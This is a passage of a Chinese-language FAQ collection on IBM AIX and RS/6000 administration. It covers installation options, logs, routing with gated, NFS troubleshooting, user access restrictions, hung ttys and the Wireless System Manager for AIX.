4.3版本中无此功能。<BR><BR><BR>目前哪些RS/6000支持逻辑分区(LPAR)?<BR><BR>环境&nbsp;&nbsp;RS/6000 AIX 5L <BR>问题&nbsp;&nbsp;目前哪些RS/6000支持逻辑分区(LPAR)? <BR>解答 支持逻辑分区的RS/6000型号:<BR>P630(1,2,4-way CPU)<BR>P670(4,8,16-way CPU)<BR>P690(8,16,24,32-way CPU<BR><BR><BR>PTF 与APAR的区别？<BR><BR>环境&nbsp;&nbsp; 产品: pSeries, RS6000<BR>软件版本: AIX4.3 AIX 5L <BR>问题&nbsp;&nbsp;PTF 与APAR的区别？ <BR>解答 PTF是Program Temporary Fix的简称。 一个PTF是指一个升级的文件束（fileset)或着一个修正了以前操作系统问题的文件束。使用installp命令安装。<BR><BR>APAR是Authorized Program Analysis Report的简称。 一个APAR指的是一个特殊的或着紧急的fix、e-fix, 对操作系统而言是单一性的错误问题。APAR有可能经过测试和认证后成为PTT。 APAR使用instfix命令安装。<BR><BR><BR>如何在保留安装（Preservation installation）方式下自定义需要保留的文件？<BR><BR>环境&nbsp;&nbsp; 产品: pSeries,RS6000 <BR>问题&nbsp;&nbsp;如何在保留安装（Preservation installation）方式下自定义需要保留的文件？ <BR>解答 使用保留安装（Preservation installation）方式在安装了BOS时保留根（root)卷组的数据，但是/usr,/tmp 和/var及/(根）文件系统将被覆盖。因此在上面的文件系统下的数据将丢失。如果想保留这些文件系统，可以在/etc/preserve.list文件中加入想保留的文件系统。例如如果想保留/var下的文件，可以将/var目录加到/etc/preserve.list文件中。<BR><BR><BR>查看boot log<BR><BR>环境&nbsp;&nbsp; 产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;如何查看系统上次启动的log? <BR>解答 # alog -o -t boot<BR><BR><BR>将man命令查看的内容转换成普通文本文件<BR><BR>环境&nbsp;&nbsp; 产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;如何将man命令查看的内容转换成普通文本文件，供打印或进一步查看？ <BR>解答 可使用下面的命令将用man查看的ls命令的内容转换为文本文件man.txt:<BR># man ls | col -b &gt; man.txt<BR><BR><BR>inetd.conf 文件的恢复<BR><BR>环境&nbsp;&nbsp; 产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;inetd.conf 文件的恢复 <BR>解答 有时由于某种原因， /ETC/INETD。CONF文件损坏。<BR>会对机器带来TCP/IP方面问题： 如 FTP<BR>可用以下步骤来恢复INETD。CONF 文件。<BR><BR># vi /etc/inetd.conf <BR># stopsrc -s inetd <BR>#mv /etc/inetd.conf /etc/inetd.conf.old<BR>#cd /usr/lpp/bos.net/inst_root/etc<BR>#cp inetd.conf /etc/inetd.conf<BR>#startsrc -s inetd <BR><BR><BR>如何立刻断掉一个已经login的用户？<BR><BR>环境&nbsp;&nbsp; 产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;如果想要立刻断掉一个已经login的用户，如何做 <BR>解答 可使用命令 fuser -k &lt;用户的主目录&gt;<BR>如：fuser -k /home/guest<BR><BR><BR>使用errdemon客户化系统错误日志文件<BR><BR>环境&nbsp;&nbsp; 产品: pSeries, RS/6000<BR>软件版本: AIX 4.3, AIX 5L <BR>问题&nbsp;&nbsp;如何使用errdemon客户化系统错误日志文件？ <BR>解答 首先列出系统错误日志文件当前配置数据：<BR><BR>#/usr/lib/errdemon -l<BR><BR>Error Log Attributes<BR>--------------------------------------------<BR>Log File /var/adm/ras/errlog<BR>Log Size 1048576 bytes<BR>Memory Buffer Size 8192 bytes<BR><BR>如果希望改变系统错误日志文件的大小， 输入：<BR><BR>#/usr/lib/errdemon -s 2000000<BR><BR>如果希望改变系统错误日志文件buffer的大小， 输入：<BR><BR>#/usr/lib/errdemon -B 16384<BR><BR><BR>什么版本的Oracle数据库支持AIX 5.1<BR><BR>环境&nbsp;&nbsp; oracel, aix <BR>问题&nbsp;&nbsp;什么版本的Oracle数据库支持AIX 5.1 <BR>解答 　 AIX 4.3.3 AIX 5L <BR>8.1.7 32-bit&nbsp;&nbsp;Yes Yes <BR>　 now (Production) now (Production) <BR>　 　 　 <BR>8.1.7 64-bit Yes 　 <BR>　 now (Production) 　 <BR>　 　 　 <BR>9.0.1 64-bit Yes Yes <BR>　 now (Production) now (Developer's Release) <BR>　 　 　 <BR>9.2 64-bit&nbsp;&nbsp;Yes Yes <BR>　 now (Production) now (Production) <BR>　 　 　 <BR><BR>　<BR><BR><BR>如何监控裸设备I/O?<BR><BR>环境&nbsp;&nbsp; 产品：pSeries,RS/6000<BR>软件版本:AIX 4.3 AIX 5.1 <BR>问题&nbsp;&nbsp;如何监控裸设备I/O? <BR>解答 sar命令中的“-b”选项可以用于监控裸设备I/O。裸设备一般用于存放数据库数据。<BR><BR># sar -b 1 3<BR><BR>AIX 6f1 3 4 00023A0F4C00 06/19/02<BR><BR>18:16:30 bread/s&nbsp;&nbsp;lread/s&nbsp;&nbsp;%rcache&nbsp;&nbsp;bwrit/s&nbsp;&nbsp;lwrit/s&nbsp;&nbsp;%wcache&nbsp;&nbsp;pread/s&nbsp;&nbsp;pwrit/s <BR>18:16:31&nbsp;&nbsp;0 0 0 0 0 0 0 0 <BR>18:16:32&nbsp;&nbsp;0 0 0 0 0 0 0 0 <BR>18:16:33&nbsp;&nbsp;0 0 0 0 0 0 0 0 <BR>　 　 　 　 　 　 　 　 　 <BR>Average&nbsp;&nbsp;0 0 0 0 0 0 0 0 <BR><BR>其中bread/s 和bwrit/s显示了块裸设备（block raw device)I/O操作的数目。pread/s 和pwrit/s显示了字符裸设备(character raw device)I/O操作的数目<BR><BR>&nbsp;&nbsp;<BR><BR><BR>在AIX上安装RPM格式软件包<BR><BR>环境&nbsp;&nbsp;AIX 4.3.3/5L <BR>问题&nbsp;&nbsp;在AIX上安装RPM格式软件包 <BR>解答 1.从Linux Application Toolbox CD安装Redhat Package Manager - rpm.rte<BR><BR>2.安装RPM格式软件<BR>#rpm -ivh fileset_name<BR><BR>3.检查按装结果<BR>#rpm -q fileset_name<BR><BR>　<BR><BR><BR>gated 进程介绍和应用<BR><BR>内容<BR>提要&nbsp;&nbsp;我们知道在AIX操作系统中，gated 进程可以支持RIP, RIPng, EGP, BGP, OSPF等协议，甚至还支持SNMP协议。通常来讲，gated进程不能和routed进程同时使用，否则会导致不可预见的错误。 <BR>1.如何启动和停止gated<BR>2.gated进程的工作模式<BR>&nbsp;&nbsp;1) 配置 /etc/gated.conf 支持 RIP 协议<BR>&nbsp;&nbsp;2）配置 /etc/gated.conf 支持 OSPF 协议<BR><BR>正文 我们知道在AIX操作系统中，gated 进程可以支持RIP, RIPng, EGP, BGP, OSPF等协议，甚至还支持SNMP协议。通常来讲，gated进程不能和routed进程同时使用，否则会导致不可预见的错误。<BR><BR>1. 如何启动和停止gated<BR><BR>gated进程是AIX中系统资源控制系统（SRC）的一个子系统，因此，我们可以用以下命令来启动和停止gated：<BR>startsrc -s gated -- 启动<BR>stopsrc -s gated -- 停止<BR><BR>top <BR><BR>2. gated进程的工作模式<BR>当gated启动时，gated进程会自动查找 /etc/gated.conf 文件，根据 /etc/gated.conf 的配置启动相应的服务。因此，正确地配置 /etc/gated.conf 文件对于gated进程能否正常地启动和工作是至关重要的。<BR><BR>以下就本人的经验对如何配置 /etc/gated.conf 文件，从而启动最经常使用的 RIP 协议和 OSPF 协议，进行介绍：<BR><BR>top <BR><BR>1) 配置 /etc/gated.conf 支持 RIP 协议<BR><BR># 该 gated.conf 文件将RIP信息的更新通知系统的所有网络接口。同时，当gated进程没有启动或路由信息没有更新时，保留路由表中的静态路由信息。<BR><BR># /etc/gated.conf<BR><BR>traceoptions "/tmp/gated.trace" all ;<BR><BR>redirect yes ;<BR><BR>rip yes {<BR>interface all ripin ripout;<BR>};<BR><BR>static {<BR>default gw 172.16.1.1 retain ;<BR>};<BR><BR>top <BR><BR>2）配置 /etc/gated.conf 支持 OSPF 协议<BR><BR># 该 gated.conf 文件使 gated 进程在ent0端口使用OSPF 协议。并从9.185.40.1（路由器端口）接收更新的路由信息。如果要侦听多个路由器端口，就把这些端口的地址放入 eligible 项中。<BR><BR><BR><BR>################# gated configuration for CLIENT ############<BR><BR>traceoptions "/var/tmp/gated.log" all ;<BR>routerid 1<BR>rip no ;<BR>ripng no;<BR>hello no;<BR><BR>ospf yes {<BR>traceoptions state detail packets ;<BR>area 0.0.0.1 {<BR>interface ent0 nonbroadcast cost 1 { <BR>pollinterval 10 ; <BR>routers { <BR>9.185.40.1 eligible;<BR>} ;<BR><BR>retransmitinterval 5;<BR>hellointerval 10;<BR>priority 50;<BR>routerdeadinterval 40;<BR>};<BR>};<BR>};<BR>export proto ospfase { <BR>proto static; <BR>proto kernel; <BR>proto direct; <BR>} ;<BR><BR><BR>　<BR><BR>　<BR><BR><BR>如何拒绝某些用户的ftp访问?<BR><BR>环境&nbsp;&nbsp;产品: AIX <BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;出于安全考虑，需要拒绝某些用户的ftp访问? <BR>解答 请编辑<BR>/etc/ftpusers<BR>添加需要拒绝的用户，每用户一行 For example:<BR>#more /etc/ftpusers<BR>ql<BR>当尝试 ftp 登录时，系统报错：<BR>Name (localhost:root): ql<BR>530 User ql access denied.<BR>Login failed <BR><BR>如何查看某用户共启动了多少进程？<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户需要查看某个用户是否启动了过多的进程，影响了系统性能 <BR>解答 请用<BR>#ps -ef|grep username|wc -l<BR><BR>备注：<BR>这是利用wc -l统计行数的功能来对用户进程数的一个估计，并不是非常准确的值。<BR>但完全可用于参考。 <BR><BR>如何在清理/tmp文件系统时找到过大的文件?<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp; /tmp文件系统已满，如何找到哪些文件过大，并释放空间。 <BR>解答 请用<BR>For Example, 哪些文件大于5M字节.<BR>#cd /tmp<BR>#find . -size +10000 -exec ls -l {} \; <BR>备注：<BR>删除这些过大文件时，请确认其无用<BR><BR><BR>如何限制某用户在特定 pty 的访问。<BR><BR>环境&nbsp;&nbsp; 产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户想限制某些端口的访问。 <BR>解答 用户可以编辑/etc/security/user. For example:<BR><BR><BR>test:<BR>admin = false<BR>admgroups = system<BR>ttys = !/dev/pts/0,ALL <BR><BR><BR>结果是用户test可以在除了pts/0以外的所有端口登录，当test在pts/0登录时，<BR>系统报错You are not allowed to access the system via this terminal.<BR><BR><BR>IBM pSeries和 RS/6000 哪些型号可以安装SuSE linux？<BR><BR>环境&nbsp;&nbsp; 平台：RS <BR>问题&nbsp;&nbsp;IBM pSeries和 RS/6000 哪些型号可以安装SuSE linux？ <BR>解答 到2002年6月4日为止，RS6/6000 B50,150 和F50可以安装SuSE Linux for PowerPC Version 6.4 （支持32位内核）；目前pSeries 和 RS/6000 中除p680外均可安装SuSE Linux Enterprise Server (SLES) Version 7（支持64位内核）。<BR><BR>更多信息可查看：<BR><BR><A href="http://www.suse.com/" target=_blank>http://www.suse.com</A><BR><A href="http://www.suse.com/us/products/suse_business" target=_blank>http://www.suse.com/us/products/suse_business</A><BR>/sles/sles_iSeries_pSeries/index.html<BR><BR><BR>如何在图形登录和命令行登录方式间切换？<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户需要在 CDE 的两种登录方式中切换。 <BR>解答 请用<BR>#/usr/dt/bin/dtconfig -e 激活图形登录方式<BR>#/usr/dt/bin/dtconfig -d 激活命令行登录方式 <BR><BR>如何处理 mountd 和 nfsd 无法正常启动<BR><BR>环境&nbsp;&nbsp;S/390或zSeries;OS/390 <BR>问题&nbsp;&nbsp;网络文件系统（NFS）是UNIX的通用网络协议，允许文件或打印机通过网络实现共享。在AIX操作系统中，对 NFS 的管理有5个进程，分别是biod, nfsd, rpc.mountd, rpc.statd 和rpc.lockd. 本文将就如何处理nfsd和mountd无法正常启动的问题加以简单介绍，因为在实际工作中，经常会遇到这类情况。 <BR>1. mountd 和 nfsd 进程的介绍<BR>2. mountd 进程没有启动<BR>3. nfsd 进程没有启动<BR><BR>解答 1. mountd 和 nfsd 进程的介绍<BR><BR>mountd 进程是一个远程过程调用 (RPC) ，其作用是对客户端要求安装（mount）文件系统的申请作出响应。mountd进程通过查找 /etc/xtab文件来获知哪些文件系统可以被远程客户端使用。另外，通过mountd进程，用户可以知道目前有哪些文件系统已被远程文件系统装配，并得知远程客户端的列表。<BR><BR>nfsd 进程运行在服务器端，负责处理远程客户端对本机文件系统的操作。每一个nfsd进程同时只处理一个客户端的操作申请，因此在一台NFS服务器上可能会启动多个 nfsd进程。 <BR><BR>2. mountd 进程没有启动<BR><BR>如果mountd进程没有启动，我们需要检查以下内容： 1）99%的可能性是loopback的名字解析不正确所导致。换句话说，必须保证loopback所对应的 IP 地址是127.0.0.1；同时127.0.0.1所对应的名字是loopback，而不是localhost。我们可以用 "host 127.0.0.1"和 "host loopback"命令来检查。<BR><BR>以下输出结果是正确的：<BR><BR>#host 127.0.0.1<BR>loopback is 127.0.0.1, Aliases: localhost<BR>#host loopback<BR>loopback is 127.0.0.1, Aliases: localhost<BR><BR>以下输出结果是错误的：<BR><BR>#host 127.0.0.1<BR>loopback.cn.ibm.com is 127.0.0.1, Aliase: localhost.cn.ibm.com<BR>#host loopback<BR>loopback.cn.ibm.com is 127.0.0.1, Aliase: localhost.cn.ibm.com<BR><BR>如果 host 命令的输出结果是错误的，则需要检查 /etc/hosts 文件以及名字解析的顺序 -- 通常在 /etc/netsvc.conf 文件中加入 hosts=local,bind。<BR><BR>2）使用命令<BR>lslpp -l bos.adt.lib<BR>检查该文件集是否存在，否则需要安装。<BR><BR>3）安装最新的 bos.rte.tty, bos.rte.streams 和 bos.net.nfs.client 文件集。<BR>运行 rpcinfo -p =&gt;应当返回 portmap的注册进程列表。<BR>若进程列表没有返回，则需要启动或重新启动 portmap 进程。<BR>若进程列表返回，则运行 rpcinfo -u localhost mountd 命令，如果有错误，则运行 /usr/sbin/rpc.mountd，从返回的错误信息中获取可能的错误原因。<BR><BR>3. nfsd 进程没有启动<BR><BR>如果 nfsd 进程没有启动，我们需要检查以下内容：<BR><BR>1）首先要确认 NFS 输出列表存在，否则 nfsd 不会启动。可用 exportfs 命令来检查，如果 exportfs 命令没有结果返回或返回不正确，则需要检查 /etc/exports 文件。<BR><BR>2）运行 scls 命令，确保 timod 和 tirdwr 存在 --<BR><BR>#scls 　 　 　 　 　 　 　 <BR>bufcal fi&nbsp;&nbsp;ptc sc sna_v5ro&nbsp;&nbsp;tcp6&nbsp;&nbsp;tr&nbsp;&nbsp;udp6 <BR>echo ldterm pts sf&nbsp;&nbsp;snasxm timod ttyp unixdg <BR>en lft0 ptyp sixp spx tioc udp unixst <BR>et nuls sad slog&nbsp;&nbsp;tcp tirdwr 　 　 <BR><BR>否则需要检查 /etc/pse.conf 文件，并取消对它们的注释。<BR><BR>3） 检查名字解析，参见 “mountd 进程没有启动”的第一项。<BR><BR>4）确保以下输出数值不大于 "no -o sb_max"的数值 (尤其在SP系统中）。<BR><BR># no -a<BR>udp_sendspace<BR>udp_recvspace<BR>tcp_sendspace<BR>tcp_recvspace<BR><BR>#nfso -a<BR>nfs_soketsize<BR>nfs_tcp_socketsize<BR><BR>　<BR><BR><BR>在移植安装（Migration installation）中都有那些文件和数据保留下来？<BR><BR>环境&nbsp;&nbsp; 产品 pSeries,RS6000 <BR>问题&nbsp;&nbsp;在移植安装（Migration installation）中都有那些文件和数据保留下来？ <BR>解答 操作系统使用移植安装（Migration installation）的方式升级AIX版本，例如： AIX 3.2, AIX 4.1, AIX 4.2, 或者 AIX 4.3 到 AIX 5L 5.1 。 除了/tmp目录将被覆盖外，此方式将保留所有文件系统，包括根（root)卷组的数据, 逻辑卷数据和系统配置文件。移值安装（Migration installation）的方式在AIX 3.2,AIX 4.1和 AIX 4.2 的机器上是缺省的安装方式。<BR><BR><BR>如何阻止某些用户远程登录，telnet,rlogin?<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;出于安全考虑，需要使某些用户只能在控制台登录使用，而不允许远程使用 <BR>解答 请编辑<BR>/etc/security/user<BR>更改需要限制的用户属性 rlogin = false<BR>当尝试远程登录时，系统报错：Remote logins are not allowed for this account <BR><BR>如果想将linux应用移植到pSeries和RS/6000上，哪里有参考资源？<BR><BR>环境&nbsp;&nbsp;平台: pSeries, RS/6000 <BR>问题&nbsp;&nbsp;如果想将linux应用移植到pSeries和RS/6000上，哪里有参考资源？ <BR>解答 用户如果想将linux应用移植到pSeries和RS/6000上，在Aix 4.3和Aix 5.1上都可以用AIX Toolbox for Linux Applications来重新编译应用。<BR>书号为SG24-6033-00的红皮书对此有很好的阐述。<BR>具体网址如下： <A href="http://www.redbooks.ibm.com/abstracts/sg246033.html" target=_blank>http://www.redbooks.ibm.com/abstracts/sg246033.html</A><BR><BR>　<BR><BR>　<BR><BR><BR>如何下载RS/6000相关的补丁(Fix,PTF),维护包及微码(Microcode)<BR><BR>环境&nbsp;&nbsp;产品: pSeries, RS/6000<BR>平台: Aix <BR>问题&nbsp;&nbsp;如何下载RS/6000相关的补丁(Fix,PTF),维护包及微码(Microcode) <BR>解答 要下载RS/6000相关的补丁(Fix,PTF),维护包及微码(Microcode)，可以先访问如下网址：<BR><BR><BR><A href="http://www-900.ibm.com/cn/support/r6download.shtml" target=_blank>http://www-900.ibm.com/cn/support/r6download.shtml</A><BR><BR><BR>先参考页面中的下载使用指南，然后点击相应的连接进行下载。<BR><BR>　<BR><BR><BR>Aix 4.3上支持超过2GB的文件吗？<BR><BR>环境&nbsp;&nbsp;平台: pSeries, RS/6000<BR>版本: Aix 4.3 <BR>问题&nbsp;&nbsp;Aix 4.3上支持超过2GB的文件吗？ <BR>解答 Aix 4.3上最大能支持64GB的文件尺寸，这需要在创建文件系统时(运行crfs）选中支持大文件(large file enabled)选项. <BR>如果这一选项没有被选中，Aix 4.3支持的最大文件尺寸是2GB.<BR><BR>　<BR><BR>　<BR><BR><BR>AIX无线系统管理器<BR><BR>内容<BR>提要&nbsp;&nbsp;本篇文章阐述了所有可能解决系统空间不足的方法，您并不需要按照所列的步骤全部执行，选取其中最有效的一种或几种方法即可。 <BR>说明 在今天的7X24小时不断运行的商业环境中，工作和生活的界限已变得越来越模糊。普及计算使得人们可以随时进行商务活动，与同事沟通，并接收有关信息----不论是在办公室还是在别的地方。<BR>WSMA通过使用无线设备把移动服务器管理带进了一个新天地。使用标准的WAP手机，系统管理员可以通过使用AIX用户认证登录到AIX系统中，监视系统并执行一些关键业务的管理功能。用“推”技术实施的按条件进行的服务器报警功能把IT人员从控制台上解放出来。它也可以把短消息发送到管理员的手机上来通知他预先定义的条件已经被触发。&nbsp;&nbsp;<BR>说明 背景<BR>自从1994年Sprint 推出了个人通信系统（PCS）---电话服务以来，美国无线工业在北美的企业和消费市场上几乎无所不在。尽管在西欧和亚太地区有些滞后，无线数据通信的营业收入还是预计比无线话音通信的营业收入增长快。<BR><BR>移动Internet是需要基于标准的无线协议和数据表示的无线互联的网络。据Dataquest的预计，最通用的无线协议是WAP，到2002年，基于WAP的手机销量会达到2.5亿台。事实上，Gartner Group预计，到2004年，95%的新手机都会是能使用WAP的。<BR><BR>对WAP的支持并不限于无线手机。目前在市场上有许多可用的WAP浏览器，最著名的是那些基于Palm OS的PDA。也有的是基于LINUX 的无线嵌入式设备，作为通用的标准WAP浏览器在某些地方流行。随着对3G高速载运服务的承诺，将会把速度提高到每秒传递一百万比特信息，可以想象在将来，移动用户可以用手机连接到所有需要连接的移动设备上！在无线网络上将会有开放的基于标准的安全措施来保证完成可信的、保密的端到端的电子商务。<BR><BR>高速的可靠的移动网络使得移动用户或IT人员能够使用一个无线的构架来管理其应用和系统。AIX无线系统管理器(Wireless System Manager for AIX [WSMA])就是一个无线的系统服务，它允许对系统资源进行安全的和保密的管理(如 CPU, 磁盘, 设备和应用)。<BR><BR><BR>AIX无线系统管理器---WSMA<BR>在今天的7X24小时不断运行的商业环境中，工作和生活的界限已变得越来越模糊。普及计算使得人们可以随时进行商务活动，与同事沟通，并接收有关信息----不论是在办公室还是在别的地方。<BR>WSMA通过使用无线设备把移动服务器管理带进了一个新天地。使用标准的WAP手机，系统管理员可以通过使用AIX用户认证登录到AIX系统中，监视系统并执行一些关键业务的管理功能。用“推”技术实施的按条件进行的服务器报警功能把IT人员从控制台上解放出来。它也可以把短消息发送到管理员的手机上来通知他预先定义的条件已经被触发。 <BR><BR><BR>与其他类型系统管理的关系<BR>传统的企业管理软件（如Tivoli的TME）是从一个控制台上管理企业中的资源。监视、报告并执行对所管理资源的一些动作是由操作员在一个中央地点进行的。在企业管理系统中，服务器、网络和客户端（包括无线设备）都是被收集、分类和查看的管理工具。如果一个网络问题出现并报警，操作员是要出现场来排错并解决问题的。<BR><BR>WSMA只是帮助一次管理一个服务器。它假设无线网络或设备本身如果出错，仍要用现有的网络和企业管理工具来处理。<BR><BR><BR>认证、保密、授权<BR>WSMA与IBM Everyplace Wireless Gateway在网络上提供了如下的安全功能： <BR><BR><BR>鉴别 ? 用户如何被识别和认证<BR><BR>保密 ? 通过Wireless Transport Layer Security(WTLS) 和 Secure Socket Layer (SSL)协议加密数据<BR><BR>授权 - 根据用户权限允许其相应的动作<BR><BR>这个安全的桥梁用在WTLS和SSL通道之间解密和加密数据的方式在基于WAP的客户端和HTTP服务器端之间提供了很大的灵活性。但是这也显出了一个潜在的敏感数据暴露问题：发送到数据网关本身的数据有安全隐患！因为数据的加解密是在数据网关上进行的。在进行总体网络安全规划和配置时把无线网关置于受保护的地点是一个很重要的考虑事项。<BR><BR><BR>WSMA 组件<BR>WSMA通过使用安全的WAP设备提供对服务器和应用的管理。它使用了一个标准的软件组件集合和无线设备：<BR><BR><BR>一个WAP浏览器, 它必须被载入到一个手机或PDA中<BR><BR>在网络上的一个无线网关<BR><BR>WSMA 设备, 它作为一个标准的HTTP 服务器插件运行在被管理的服务器上<BR><BR>连接层的安全是通过利用PPP协议的Remote Access Service (RAS)来访问企业的intranet。请参考如下的示意图来理解不同的协议、安全组件、WAP手机间的关系、网关和在无线网络中的被管理的服务器。<BR><BR><BR><BR>无线网关<BR>无线网关是一个用于在 WAP 客户端和WSMA间通讯的必需的组件。 它监听从客户端来的数据和消息并翻译 Wireless Session Protocol (WSP) 请求到 HTTP请求，然后再转发到HTTP 服务器。应答报头被从HTTP转换为WSP 应答报头, 内容从WML 和/或 WMLScript 转换成二进制 XML (wbxml)，再转发到WAP客户端。 IBM Everyplace Wireless Gateway (EWG) 是一个强壮的、可扩展的 WAP 网关，它可以在企业的网络中配置。<BR><BR><BR>由 WSMA管理的资源<BR>分成以下三类：<BR><BR><BR>查看 - 列出通用的系统信息如 Vital Product Data, 错误日志；<BR><BR>调查 - 通过查看各种系统资源条件确定问题所在；<BR><BR>修正 - 通过启/停系统资源和应用来管理系统和应用。<BR><BR>因为WAP手机的有限的屏幕尺寸，用户接口必须简明，集中。有了这样的意识，对于不同的类别和由WSMA执行的行动请参考下表：<BR><BR>系统信息 VPD/错误: 显示或清除系统错误日志<BR>RAM/CPU/磁盘: CPU使用率，列出磁盘的总空间和空闲空间，列出总的和空闲的页交换空间 <BR>问题确定 Ping 主机: 用主机名或IP地址ping主机<BR>进程管理: 通过所有者，所有CPU或当前CPU管理进程<BR>设备管理: 列出在线或离线的设备 <BR>管理任务 对用户发wall命令： 发送标准的或客户化的信息给所有登录中的用户；<BR>文件/文件系统/页交换空间：清除或扩展文件系统，mount/unmount 文件系统，查看页交换空间；<BR>进程/子系统：列出或杀死进程，列出/查询/启动/停止/刷新/跟踪子系统；启动/停止/刷新/跟踪子服务器<BR>应用/打印：启动/停止应用；启动/停止/取消打印作业；<BR>重启/停机：重启/停止系统。 <BR><BR>　<BR><BR><BR><BR><BR>管理员通过预定义的通知或查看任何异常条件就知道需要做特定的行动，并通过预见某一场景（如计划停机等）来修正系统。<BR>WSMA 的目的并不是替换系统管理控制台，而是在发生错误时帮助处理关键的系统和应用。如果需要，完全的错误诊断和改正可以以后在服务器上执行。<BR><BR><BR>WSMA系统工作过程<BR>以下场景描述了用WSMA的顺序的行动：<BR>1. 管理员配置何种条件需要通知，并输入通知目的地的手机号码或短信息地址<BR>2. 一个短信息出现在管理员的手机上，表示某种条件值得注意。<BR>3. 管理员用WAP设备和密码登录服务器，这个设备跟是接收短信息的设备可能是同一个。.<BR>4. 管理员会看到主菜单，他浏览并执行一个与收到的短信息有关的改正错误的动作。如果该信息是一个动作的通知，如一个作业完成了，管理员可以检查这个作业的状态。<BR>5. 管理员退出，中断会话，挂断手机。<BR><BR><BR><BR>对服务器管理的发送通知赋予了管理员实时响应的能力。连接是安全的，而且是随时随地。这种管理对公共载体的依赖很小，在今天就已经可用的标准的安全协议可以保证我们获得安全的交易和操作，所以通过无线设备管理服务器是不仅可能的，也是现实的。<BR><BR><BR><BR><BR><BR><BR>如何改变上传ftp文件的缺省读写属性？<BR><BR>环境&nbsp;&nbsp;AIX 4 <BR>问题&nbsp;&nbsp;如何改变上传ftp文件的缺省读写属性？ <BR>解答 在AIX环境中，当用户从Windows上传文件到AIX服务器时<BR>所传文件的缺省读写属性为640(rw-r-----)。如想改变<BR>缺省读写属性为644，首先用vi编辑器打开/etc/inetd.conf<BR>文件，在"ftp"定义行的末尾加上"-u 033"，然后刷新inetd进程:<BR><BR>refresh -s inetd<BR><BR>这就改变了ftp文件的缺省属性。<BR><BR>　<BR><BR><BR>AIX中的 rmss 命令的用途<BR><BR>环境&nbsp;&nbsp;产品,平台,机型, RS6000, Pseries<BR>软件版本, AIX v4 <BR>问题&nbsp;&nbsp;AIX中的 rmss 命令的用途是什么? 如何使用 rmss 命令? <BR>解答 rmss 是在现有物理内存大小的基础上模拟服务器的物理内存大小的命令, 而无需拔出或替换内存芯片. 通过在不同的内存下运行同一应用,可以确定应用在正常运行时所需内存的尺寸. <BR>例如:<BR><BR>#rmss -c 2048&nbsp;&nbsp;:模拟2GB的内存 <BR>#rmss -p&nbsp;&nbsp;:显示当前模拟内存的大小 <BR>#rmss -r&nbsp;&nbsp;:重置内存,使之恢复到实际内存尺寸 <BR><BR>　<BR><BR>　<BR><BR>　<BR><BR><BR>在AIX 4.x如何清除挂起的tty（-）<BR><BR>环境&nbsp;&nbsp;RS6000, AIX 4.x <BR>问题&nbsp;&nbsp;在AIX 4.x如何清除挂起的tty <BR>解答 为了说明方便，下面的例子假设挂起的tty端口为tty0. <BR><BR>1.确定当前挂起的tty正在操作的进程：<BR><BR>ps -ef | grep tty0<BR><BR>该命令假设返回内容如下：<BR><BR>root 12345 1 0 Aug 29 0 /path/program_name <BR><BR>进程ID (PID) 是"12345". 杀掉该进程：<BR><BR>kill -9 12345<BR><BR>再次运行ps -ef | grep tty0 命令去查看该进程是否被杀掉。<BR><BR>不要使用“-9”的选项去杀掉slattach进程，因为它可能导致AIX操作系统挂起。<BR>注意：如果进程是“getty”， 使用下面命令去杀掉进程：<BR>pdisable tty0 <BR>如果上面命令不能成功的杀掉进程，而tty仍然是挂起的，可以使用第二步。<BR><BR><BR>2. 执行下面的命令：<BR><BR>fuser -k /dev/tty0<BR><BR>该命令将杀掉运行在此端口的所有进程，并且显示其PID (进程 ID). <BR>如果上面命令不能成功的杀掉进程，而tty仍然是挂起的，可以使用第三步。 <BR><BR><BR>3. 在被挂起的终端的键盘上，键入“Ctrl+Q”. 如果tty仍然挂起，使用第四步。<BR><BR><BR>4. 物理的断开连接端口的设备（连线）. 在某些情况下可以释放端口.<BR><BR>注意：前面的一些命令也许不会生效并且报”设备忙“的错误。这是由于一些进程正运行在tty上。如果上面的步骤仍不能释放挂起的tty，最后可以通过重起AIX释放内核去清除此进程。 <BR><BR>　<BR><BR>　<BR><BR><BR>在AIX中扩展卡的逻辑名和它所在插槽的对应关系<BR><BR>环境&nbsp;&nbsp;产品, Pseries, RS6000<BR>软件版本, AIX <BR>问题&nbsp;&nbsp;在IBM的Pseries 服务器中,相同类型的扩展卡可以插多块,但是AIX如何确定每一块卡所在的插槽? <BR>解答 可用以下步骤来确定它们的关系:<BR><BR>1. 检查相同类型的卡的逻辑名及个数.<BR><BR>例如确定服务器中以太网卡的名称: <BR># lsdev -Cc adapter |grep en<BR>ent0 Available 1A-08 IBM 10/100 Mbps Ethernet PCI Adapter (23100020)<BR>ent1 Available 21-08 IBM 10/100 Mbps Ethernet PCI Adapter (23100020)<BR><BR>2. 通过查看Device Specific. 的值,确定其所对应的插槽.<BR>如:<BR><BR><BR># lscfg -vl ent0&nbsp;&nbsp;DEVICE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LOCATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DESCRIPTION&nbsp;&nbsp;ent0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1A-08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IBM 10/100 Mbps Ethernet PCI 